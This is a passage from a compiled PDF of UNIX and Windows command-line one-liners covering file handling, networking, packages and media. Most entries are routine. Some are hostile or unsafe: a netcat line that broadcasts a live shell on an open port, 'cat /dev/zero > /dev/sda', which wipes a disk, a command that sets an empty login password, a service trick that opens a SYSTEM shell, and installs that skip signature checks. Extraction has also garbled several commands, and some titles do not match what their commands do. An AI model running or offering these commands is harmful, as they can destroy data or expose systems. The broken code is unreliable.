# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -l -p 5000)

# Clearcase find branch


ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null
# batch convert OGG to WAV
for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f"
; done
# one line command to recursively add all jar files in current folder to java class path
CLASSPATH=.; export CLASSPATH=$CLASSPATH$(find "$PWD" -name '*.jar' -type f -printf ':%p\n'
| sort -u | tr -d '\n'); echo $CLASSPATH
# Create web site ssl certificates
openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCity/O=EXAMPLE
Inc./OU=Web Services/CN=example.com/emailAddress=postmaster@example.com" -nodes -keyout
web.key -out web.crt
# Copy files from one dir to another using tar.
tar cf - . | (cd /new/dir; tar xvf -)
# Print just line 4 from a textfile
head -n X | tail -n 1
# recursively add all sub folders with executable file of current folder to PATH environment
variable
export PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -printf ':%h\n' |
sort -u | tr -d '\n'); echo $PATH
# Purge application's residual config & orphans
dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge
# Prints line numbers
nl <filename>
# Find default gateway
route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF""}'
# SSH with sql like commad
add "ssh $1@$2" in /usr/sbin/connect with executable permission, now use commad "connect
user 192.168.1.1"
# Realtime lines per second in a log file
tail -f logfile | logtop
# View open file descriptors for a process.

548 / 658

All UNIX COMMANDS


lsof -p <process_id> | wc -l
# a simple alarm
while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 2000 >
/dev/dsp; done; done;
# Display CPU usage in percentage
ps aux | awk {'sum+=$3;print sum'} | tail -n 1
# Graphically compare two directory hierarchies without Subversion metadata
xxdiff -r --exclude=.svn
# Open the Windows Explorer from the current directory
explorer /e,.
# [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data
CONVERT D: /FS:NTFS
# Find default gateway
netstat -rn | awk '/UG/{print $2}'
# Batch rename and number files
count='1'; for i in *.jpg; do mv $i $(printf '%01d'.jpg $count); (( count++ )); done
# display portion of a file
cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"
# Restore individual table from mysqldump backup.
awk '/Table structure for table .table01./,/Table structure for table .table02./{print}'
<file> > restored_table.sql
# Use socat to wrap around your pty to enter the password.
(sleep 3; echo "MyAwesomePassword"; sleep 3) |socat - EXEC:'ssh username@server
"hostname"',pty,setsid,ctty
# Rip an ISO from a CD/DVD using the freeware dd for Windows
dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress
# translate what is in the clipboard in english and write it to the terminal
wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|zhcn&v=1.0&q=`xsel`" |cut -d \" -f 6

# Remove all unused kernels with apt-get


sudo aptitude remove -P $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linuximage-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}')
# Format partition as FAT32
mkdosfs -F 32 /dev/sda1
# Get readline support for the sqlplus command.
socat READLINE EXEC:'sqlplus',pty,setsid,ctty
# Make all the cows tell a fortune
echo 'Dir.foreach("/usr/local/Cellar/cowsay/3.03/share/cows") {|cow| puts cow; system
"fortune | cowsay -f /usr/local/Cellar/cowsay/3.03/share/cows/#{cow}" }' | ruby
# First android webpage relay script

549 / 658

All UNIX COMMANDS


id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log
> /sdcard/rsync.log && return 123;fumanchu
# copy selected folder found recursively under src retaining the structure
find . -type d -exec mkdir /new/path/{} \;
# Copies files from a directory to another, overwriting only existing files with same name
cp -rf srcdir/* destdir
# Activate on-the-fly GTK accels
gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true
# Recursively remove 0kb files from a directory
find . -empty -type f -execdir rm -f {} +
# Show's the main headline from drudgereport.com
curl -s http://www.drudgereport.com | sed -n '/<! MAIN HEADLINE>/,/<!-- Main headlines links
END --->/p' | grep -oP "(?<=>)[^<].*[^>](?=<)"
# Run one of your auto test programs from GNU make
gmake runtestsingle testsingle=udtime
# print the date of the unix epoch in a human readable form using perl.
perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch
# Using gdiff only select lines that are common between two files
gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort >
outputfile.sorted
# burn an iso to cd or dvd
cdrecord -v path_to_iso_image.iso
# Command to find filesystem type
file -sL /dev/sda7
# Get summary of updateable packages on Debian/Ubuntu machines using salt stack
salt -G 'os_family:Debian' cmd.run ' /usr/lib/update-notifier/apt-check --human-readable'
# Uncompress a directory full of tarred files (*.gz)
for i in *.tar.gz *.tgz; do tar -zxvf $i; done
# List only the directories
ls -F|grep /
# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD | gzip > ~/Dropbox/archive.tar.gz
# tail a log over ssh
ssh remotebox tail -f /var/log/remotelog
# Nice directory listings
alias ll="ls -lh --color=auto"
# Check variable has been set
: ${VAR:?unset variable}
# SCP files to remote server using PEM file
scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path]
# add a little color to your prompt

550 / 658

All UNIX COMMANDS


PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ "
# Make sure your compiler is using ccache
watch ccache -s

# Use dig instead of nslookup


dig google.com
# Find files older than 60 days
find . -maxdepth 1 -type f -mtime +60 -ls
# Show all TODOs and a few relative lines after it.
grep -rnA 10 TODO *
# Graphic mode for root
startx -- :1
# Put the wireless card into monitor mode
airmon-ng start <interface> <channel>
# Find a specific pdf file (given part of its name) and open it
evince "$(find -name 'NameOfPdf.pdf')"
# MS-DOS only: Enable variable expansion from inside of FOR loops with !varname!
setlocal enabledelayedexpansion
# Singularize all files in a directory
for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done
# Read just the IP address of a device
/sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}'
# Grep for a TAB
grep $'\t' file.txt
# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0 rm;
# Remove all .svn folders
find . -name .svn -type d -exec rm -rf {} \;
# calculate sqrt(2) ==> 1.414213
dc -e '6k2vp'
# Batch remove protection from all pdf files in a directory
mkdir -p temp && for f in *.pdf ; do qpdf --password=YOURPASSWORDHERE --decrypt "$f" "temp/
$f"; done && mv temp/* . && rm -rf temp
# Command to find filesystem type
#11671
# Read just the IP address of a device
/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " "
# Python Challenge Problem 0
sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html
# Console clock

551 / 658

All UNIX COMMANDS


watch -n1 echo
# Repeat a portrait eight times so it can be cut out from a 6
montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg
# shopt
help shopt
# kill all processes of a program
kill -9 $(pidof *program*)
# Add a line to crontab using sed
crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null
2>&1-' | crontab # draw 45deg rotated text at the center of image
convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png
# quick find executable from locate db
find $(locate hello) -type f -executable -print|grep -E "hello\$"
# Show all video files in the current directory (and sub-dirs)
find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)
$' | sort -z | xargs -0 ls -1

# Read just the IP address of a device


/sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$"
# ping scan for a network and says who is alive or not
for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||echo "$i is
down";done
# Get windows IPv4 and nothing else
cls && ipconfig | findstr -R "[ IPv4 | adapter ]"
# make a zip file containing all files with the openmeta tag "data"
mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt
# Check if variable is a number
echo $X | egrep "^[0-9]+$"
# Indent all the files in a project using indent
find . -iname \*.[ch] -exec indent "{}" \;
# Function that swaps the filenames of two given files.
flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2"
|| echo "$!"; else echo "Missing a file: $!"; fi; }
# Replace Space In Filenames With Underscore
for file in "* *"; do mv "${file}" "${file// /_}"; done
# SAR - List top CPU usage spikes over the last month using sar.
ls /var/log/sa/sa[0-9]*|xargs -I '{}' sar -u -f {}|awk '/^[0-9]/&&!/^12:00:01|RESTART|CPU/
{print "%user: "$4" %system: "$6" %iowait: "$7" %nice: "$5" %idle: "$9}'|sort -nk10|head
# Get windows IPv4 and nothing else
cls && ipconfig | findstr -R "[ IPv4 | adapter ]"

552 / 658

All UNIX COMMANDS


# Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep ://
# Receive, sign and send GPG key id
caff <keyid>
# show ip adress public
curl queip.tk/ip
# Know when you will type :q in your term instead of vi(m), the alias will chewed you out.
alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'
# Check default block size on ext2/ext3 filesystems
tune2fs -l /dev/XXXX | grep -w ^"Block size:"
# download wallpaper random
for i in $(wget -O- -U "" "http://wallbase.cc/random/23/e..." --quiet|grep wallpaper/|grep
-oe 'http://wallbase.cc[^"]*'); do wget $(wget -O- -U "" $i --quiet|grep -oe 'http://
[^"]*\.jpg');done
# stream facebook feed
watch -n -0.1 fbcmd stream timeline
# Bash function to see if the day ends in
function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; ends_in_y &&
echo ok
# Create variables from a list of names
VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while
read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk
{'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done
# Gecko-rendered javascript without a GUI
svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulrunner
--install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/null 1>/dev/null &&
wget -O- "127.0.0.1:10000/&url=http://www.facebook.com"
# Add a controller to a VirtualBox
VBoxManage storageattach "volpedimongibello" --storagectl "fighetto" --port 1 --device 0
--type dvddrive --medium "/tanto/mipaghi/tutto.iso
# Allow to shorten the prompt. Useful when the it is taking too much place.
PS1='$'
# Mac OS X (laptops ??) only :
sudo pmset -a hibernatemode 1

control hibernation state more easily from Terminal.app

# Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults)
for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.jpg
http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg
# Unlock and access an ssh key keychain entry from CLI
security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh/id_dsa"
2>&1 > /dev/null

# easily strace all your apache processes


ps -C apache o pid= | sed 's/^/-p /' | xargs strace

553 / 658

All UNIX COMMANDS


# Count the number of queries to a MySQL server
mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSLIST"
# find all c and cpp files except the ones in the unit-test and android subdirectories
find . -name unit-test -o -name '*.c' -o -name '*.cpp' | egrep -v "unit-test|android"
# Easily create and share X screen shots (remote webserver version)
scrot -e 'mv $f \$HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; feh `xsel -o`'
# Every Nth line position # (AWK)
awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print
$0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo >
foo_every3_position3
# Bulk add urls to your Instapaper account
for url in `cat urls `; do title=`curl $url 2>&1 | grep -i '<title>.*</title>'` && curl $url
> /tmp/u && mail -s "$title" your-private-instapaper-address@instapaper.com < /tmp/u ; done
# copy all Photos from Canon A520 to one place
find / -type f -name IMG_????.JPG -print0 |xargs -0 exiv2 -g Exif.Canon.ModelID '{}' |grep
A520 |rev |cut --complement -d " " -f1-40 |rev |xargs -I {} cp --parents {} /where
# send echo to socket network
echo foo | ncat [ip address] [port]
# prints line numbers
perl -ne 'print "$. - $_"' infile.txt
# show how many twitter followers a user has
curl -s http://twitter.com/users/show.xml?screen_name=username | sed -n
's/\<followers_count\>//p' | sed 's/<[^>]*>//g;/</N;//b'
# Create a tar file compressed with xz.
tar cfJ tarfile.tar.xz pathnames
# check the status of 'dd' in progress
while killall -USR1 dd; do sleep 5; done
# prints line numbers
grep -n . datafile ;
# Downloads files (through wget) from a list of URLs using a stored cookie
wget --load-cookies <cookie-file> -c -i <list-of-urls>
# create an alias of the previous command
alias foo="!!"
# Compile CoffeeScript on Mac clipboard to JavaScript and print it
pbpaste | coffee -bcsp | tail -n +2
# Get the information about the Apache loaded modules from command line
httpd2 -M
# restore <mysqldump>.tar.gz on the fly
tar xfzO <backup_name>.tar.gz | mysql -u root <database_name>
# Display only hosts up in network
nmap -sP -PR -oG - `/sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d`
# Calculate foldersize for each website on an ISPConfig environment

554 / 658

All UNIX COMMANDS


ls -d1a /var/www/*/web | xargs du -hs
# Grep for text within all files in a folder structure
grep --color -R "text" directory/
# Batch rename extension of all files in a folder, in the example from .txt to .md
rename *.JPG *.jpg
# To find how Apache has been compiled from commandline
httpd2 -V
# Compressed Backup of the /etc
tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /etc
# dd if=/dev/null of=/dev/sda
cat /dev/zero > /dev/sda

# Reorder file with max 100 file per folder


folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \; -quit ; do
if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )); mkdir $folder; fi ;
done
# Edit all source files of project with vim, each on separate tab
vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null`
# check open ports (both ipv4 and ipv6)
lsof -i
# ssh hostchange know_host improver
sshostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; }
# Remove comments
sed -re '/^#/d ; s/#.*$//'
# displays a reminder message at the specified time
echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00
# Colored cal output
cal | sed -E "2,8s/(^|[^0-9])($(date +%e))( |$)/\1$(echo "\033[0;36m\2\033[0m")\3/g"
# Ignore ~/.vimrc when startup gVim
gvim -u NONE -U NONE
# Grab your bibtex file from CiteULike.
curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"
# get users process list
ps -u<user>
# Get all the HTTP HEAD responses from a list of urls in a file
for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >> log.txt ;
done
# bulk rename files with sed, one-liner
for f in *; do mv "$f" "${f/foo/bar}"; done
# Start a Google Chrome profile with an X11 based interactive prompt

555 / 658

All UNIX COMMANDS


/opt/google/chrome/google-chrome --user-data-dir=$HOME/.config/google-chrome/`zenity --entry
--text="Enter a profile name:"`
# bulk rename files with sed, one-liner
ls | sed 'p;s/foo/bar/' | xargs -n2 mv
# Rip CD
ripit -c 0 --outputdir $1 --nosubmission
# Show git branches by date - useful for showing active branches
for k in `git branch -r|awk '{print $1}'`;do echo -e `git show --pretty=format:"%Cgreen%ci_
%C(blue)%c r_%Cred%cn_%Creset" $k|head -n 1`$k;done|sort -r|awk -F"_" '{printf("%s %17s %22s %s\n",$1,$2,$3,$4)}'
# SVN Add Recursively
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# Make an iso file out of your entire hard drive
dd if=/dev/hda of=file.img
# Find out my commits today in svn
svn log | grep "$LOGNAME" | grep `date '+%Y-%m-%d'`
# Convert all tabs in a file to spaces, assuming the tab width is 2
expand -t 2 <filename>
# Pick the first program found from a list of alternatives
find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return
1;}
# Remove superfluous from conf file
sed -re '/^#/d ; s/#.*$// ; /^\s*$/d'
# Create random password in reasonable time
dd if=/dev/urandom | tr -d -c [:print:] | tr -d " " | dd count=1 bs=20

2> /dev/null; echo

# removing those pesky malformed lines at the end of a text file..


cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile
# Check the backdoors and security.chkrootkit is a tool to locally check for signs of a
rootkit.
chkrootkit -x | less

# to display number of lines in a file without using wc command


sed -n "$=" fileName
# convert myisam to innodb
for I in $(echo "show tables" | mysql -u<user> <database>`; do echo "ALTER TABLE
= INNODB"| mysql -u<user> <database>; done

$I ENGINE

# List of commands you use most often *suppressing sudo*


history | awk '{if ($2 == "sudo") a[$3]++; else a[$2]++}END{for(i in a){print a[i] " " i}}'
| sort -rn | head
# which domain controller the user currently logged onto
echo %logonserver%
# List of commands you use most often

556 / 658

All UNIX COMMANDS


history | awk '{if ($2 == "sudo") a[$3]++; else a[$2]++}END{for(i in a){print a[i] " " i}}'
| sort -rn | head
# HDD Performance Read Test
dd if=10gb of=/dev/zero bs=1M count=10240
# See The MAN page for the last command
man !!
# Show amigable path
alias path='echo $PATH | tr ":" "\n"'
# OSX script to change Terminal profiles based on machine name; use with case statement
parameter matching
function setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current settings of
first window to settings set \"${PROFILE}\""|osascript; };
# use ImageMagik to convert tint (hue rotation) of an icon set directory.
mogrify -modulate 100,100,70 ../../icons/32x32/*.png
# Batch resize all images to a width of 'X' pixels while maintaing the aspect ratio
mogrify -resize SIZE_IN_PIXELS *.jpg
# remove the last line of all html files in a directory
for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done
# How To Get the Apache Document Root
grep -i '^DocumentRoot' /etc/httpd/conf/httpd.conf | cut -f2 -d'"'
# Extract specific lines from a text file using Stream Editor (sed)
head -n1 sample.txt | tail -n1
# Sort a list of numbers on on line, separated by spaces.
echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/
$//"
# Selecting a random file/folder of a folder
a=(*); echo ${a[$((RANDOM % ${#a[@]}))]}
# grep the command-line-fu archive
clgrep keyword
# simulates the DOS tree command that you might be missing on your Mac or Linux box
find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
# Get list of all Apache Virtual Host and which is default for each IP address
httpd -S
# Find the uid and gid of your apache process
ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp, "/"); print
tmp[1]; }'`|sort |uniq|grep -v EUID
# use vim to get colorful diff output
vimdiff file1 file2
# Find multiple filename expressions and sort by date
find . \( -iname "*.doc" -o -iname "*.docx" \) -type f -exec ls -l --full-time {} +|sort -k
6,7
# Intall not signed packeges with yum

557 / 658

All UNIX COMMANDS


yum --nogpgcheck install "examplePackage"
# Get current pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject
im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent
# if you want the script run at reboot
sudo update-rc.d -f nomemioscript start 99 2 3 4 5

# Connect via sftp to a specific port


sftp -p port user@host
# if you want the script run at shutdown
sudo update-rc.d -f nomescript stop 90 0 6
# bulk git pull
for dir in ~/git/*; do (cd "$dir" && git pull); done
# See the order for DNS resolution on your Mac
scutil --dns
# get memory configuration (not consumption) for all running VMware virtual machines
for file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo
-n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//');
done;
# How to access to virtual machine
VBoxManage modifyvm "vm-name" --vrdp on --vrdpport 3389 --vrdpauthtype external
# prints line numbers
cat infile | while read str; do echo "$((++i)) - $str" ; done;
# get eth0 ip address
ip -4 addr show eth0 | awk ' /inet/ {print $2}'
# clear not-used-again files from Linux page cache
find /path/to/dir -type f -exec cachedel '{}' \;
# Compress Images using convert (ImageMagick) in a bulk
find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \;
# To generate ssh keypair(public, private) which makes use of dsa as encryption algorithm
ssh-keygen -t dsa -b 1024
# a pseudo-random coin flip in python
echo "import random; print(random.choice(['heads', 'tails']))"

| python

# Add a 1 pixel padding around an image.


convert -bordercolor Transparent -border 1x1 in.png out.png
# Sets OpenFirmware pasword on a mac
/usr/local/bin/OFPW -pass thepassword
# prints line numbers
while read str; do echo "$((++i)) - $str"; done < infile
# translate what is in the clipboard in english and write it to the terminal
tw translate.google.com.de-en `xsel`

558 / 658

All UNIX COMMANDS


# set open firmware password command mode to require password to make changes
/usr/local/bin/OFPW -mode 1
# regex to match an ip
perl -wlne 'print $1 if /(([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.
([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5]))/' iplist
# Spanish Numbers
<ctrl+s>|<alt+s>
# extract element of xml
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' }
# Join multipart archive in binary mode under Windows with command line
copy /b part.1 + part.2 + part.n file.extension
# regex to match an ip
echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|
2[0-4][0-9]|25[0-4])$'
# Enable passwordless login
sudo usermod -p $(mkpasswd '') user_id
# Uptime in minute
awk '{print $0/60;}' /proc/uptime
# remote ssh xdmcp session
ssh -XfC -c blowfish user@host Xephyr dpms -fullscreen

-query localhost :5

# External IP (raw data)


curl curlmyip.com
# chain search and replace special characters to html entities in gvim
%s/?/\&iuml;/ge | %s/?/\&#0233;/ge | %s/?/"/ge | %s/?/"/ge | %s/?/'/ge | %s/?/'/ge |
%s/?/\&ecirc;/ge | %s/?/\&#0133;/ge | %s/?/\&#232;/ge | %s/?/\&#243;/ge | %s/?/\&ouml;/ge |
%s/?/\&#0233;/ge | %s/?/\&ndash;/ge | %s/?/\&mdash;/ge
# df without line wrap on long FS name
di
# Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3.
find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh
# for loop with leading zero in bash 3
for i in {0..1}{0..9}; do echo $i; done
# Capture screen and default audio input device and generate an incompress AVI file
gst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert ! queue !
mux. istximagesrc name=videosource use-damage=false ! video/x-raw-rgb,framerate=10/1 !
videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 ! mux.
# pbzip2 tar pipe to untar
pbzip2 -dck <bz2file> | tar xvf # Jump to any directory above the current
jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); }

559 / 658

All UNIX COMMANDS


# Recursively search a directory tree for all .php .inc .html .htm .css .js files for a
certain string
find . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.html" -o -name
"*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \;
# easily find megabyte eating files or directories
alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB ./\",\$1) ; for (i=1;i<=NF;i++)
{ if (i>1) printf(\"%s \",\$i) } ; printf(\"\n\") }' | tail"
# Convert KML to GPX w/ gpsbabel
gpsbabel -i kml -f in.kml -o gpx -F out.gpx
# Remove all trailing slashes on each line of a text file
sed -e "s,/\+$,," -e "s,^/\+,," file.txt
# run as system on windows
@echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c start cmd /k
(cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSystem && sc delete
CmdAsSystem
# easy seach ip
ifconfig eth0|awk '/HWaddr/{gsub(/:/,"",$5);print $5}'
# Generate CHECK TABLE statements for all MySQL database tables on a server
DD=`cat /etc/my.cnf | sed "s/#.*//g;" | grep datadir | tr '=' ' ' | gawk '{print $2;}'` && (
cd $DD ; find . -mindepth 2 | grep -v db\.opt | sed 's/\.\///g; s/\....$//g; s/\//./;' |
sort | uniq | tr '/' '.' | gawk '{print "CHECK TABLE","`"$1"`",";";}' )
# nested XDMCP login
/usr/bin/Xephyr :5 -query localhost -once -fullscreen -ac -keybd
"ephyr,,,xkbmodel=pc105,xkblayout=it,xkbrules=evdev,xkboption="
# View your motherboard's ACPI tables (in Debian & Ubuntu)
sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl
-d dsdt.dat
# dig this
for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\
|sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done
# force change password for all user
for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done
# Extract all urls from the last firefox sessionstore.js file used.
sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4
# Change the homepage of Chromium
change-homepage(){ sed -ri 's|(
"homepage": ").*(",)|\1'"$@"'\2|'
.config/chromium/Default/Preferences; }
# Add EC2 pem key to SSH
ssh-add ~/.ssh/KEY_PAIR_NAME.pem
# Creating rapidly an html menu
for menu in {1..4}; do echo -e "<ul>\n <li>menu $menu</li>\n <ul>"; for items in {1..5}; do
echo "
<li>item $items</li>"; if [ $items -eq 5 ];then echo -e " </ul>";fi;done; echo
"</ul>";done | xclip
# List complete size of directories (do not consider hidden directories)
du --max-depth=1 | grep -v '\.\/\.'

560 / 658

All UNIX COMMANDS


# find names of files ending in *log that have both foo and bar
grep -l bar *.log | xargs grep -l foo

# Convert DOS newlines (CR/LF) to Unix format


fromdos <file>
# measure answer time of a web service
for i in {1..40};do echo -n $i. $(date +%H:%M:%S):\ ; (time curl 'http://ya.ru/' &>
/dev/null) 2>&1|grep real;sleep 1;done
# Change all instances of a word in all files in the current directory
perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)
# Generate a Universally Unique Identifier (UUID)
uuid
# List complete size of directories (do not consider hidden directories)
du -sh * | grep -v '\.\/\.'
# Get Informed by your box that you are awesome ;)
while $i;do `notify-send -t 200 "You are awesome :)"`;sleep 60; done;
# Useful to check if the disks as of same size or not. Helpful in checking Raid configs
df | awk '{if ($2!=dspace) print "different"; dspace=$2;}'
# purge half of files in backup directory
find . | sort | awk 'NR%2==0' | xargs rm $1
# Change all instances of a word in all files in the current directory and it's subdirectories
perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)
# For finding out if something is listening on a port and if so what the daemon is.
lsfo -i :[port number]
# Get your external IP address
curl http://my-ip.cc/host.txt
# find all minimum values in file with at least 100 lines
for ff in directory; do numLines=`wc -l $ff`; numLines=$(echo $numLines | sed 's/ .*//g');
min=$(sort -nrk 1 $ff | tail -1); if [ $numLines -gt 100 ]; then echo $min >> minValues;
fi;done;
# save a manpage to plaintext file
man perlcheat | col -b > perlcheat.txt
# return external ip
host -t a dartsclink.com | sed 's/.*has address //'
# List complete size of directories (do not consider hidden directories)
du -sh `ls -p | grep /`
# Get your external IP address
curl http://my-ip.cc/host.xml
# Create new repo in Cobbler for CentOS 5.3 updates

561 / 658

All UNIX COMMANDS


cobbler repo add --name=CentOS-5.3-i386-updates
--mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/
# Today's date on a yearly calendar...
cal -y
# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort
# Weather on the Command line
curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*<temp_f data="\
([^"]*\)"/>.*|\1|'
# Merge tarballs
cat 1.tar.gz 2.tar.gz | tar zxvif # Scroll a message in a terminal titlebar
function titlescroll {
_X=0
_TITLEMSG=$1
_WIDTH=${2:-16}
{#_TITLEMSG}+$_WIDTH))s" "$_TITLEMSG"`
while `true`
do
{#_TITLEMSG}))
xtitle "${_TITLEMSG:_X:_WIDTH}"
done }

_TITLEMSG=`printf "%$(($
_X=$(((_X+1)%$

# Remove Thumbs.db files from folders


find ./ -name Thumbs.db -exec rm -rf '{}' +
# Alternative way to get the root directory size in megabytes
expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024
# empty a file
> filename

# do a full file listing of every file found with locate


locate -i yourfilename | sed 's/ /\\ /g' | xargs ls -lah | less
# Format a flooppy with windows compatible disk
mformat -f 1440 A:
# [Gentoo] Input modules, commented, in your module.autoload file
find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o '[a-z09]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '# {}' >>/etc/modules.autoload.d/kernel-2.6
# Function to bind MySQL hostport to forward remote MySQL connection to localhost.
sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & }
# show your locale language keyboard setting
locale | grep LANG=
# Play newest or random YouTube video
goyoutube() {
d=/path/to/videos
p=$d/playlist
'rand' ]; then
ls -1 $m $f | shuf >$p
else
-geometry 500x400 -playlist $p }

m=$d/*.mp4
f=$d/*.flv
if [ "$1" ==
ls -1t $m $f >$p
fi
mplayer

# View the list of files and directories in an archive with less.


less file.tar.gz
# All IP connected to my host
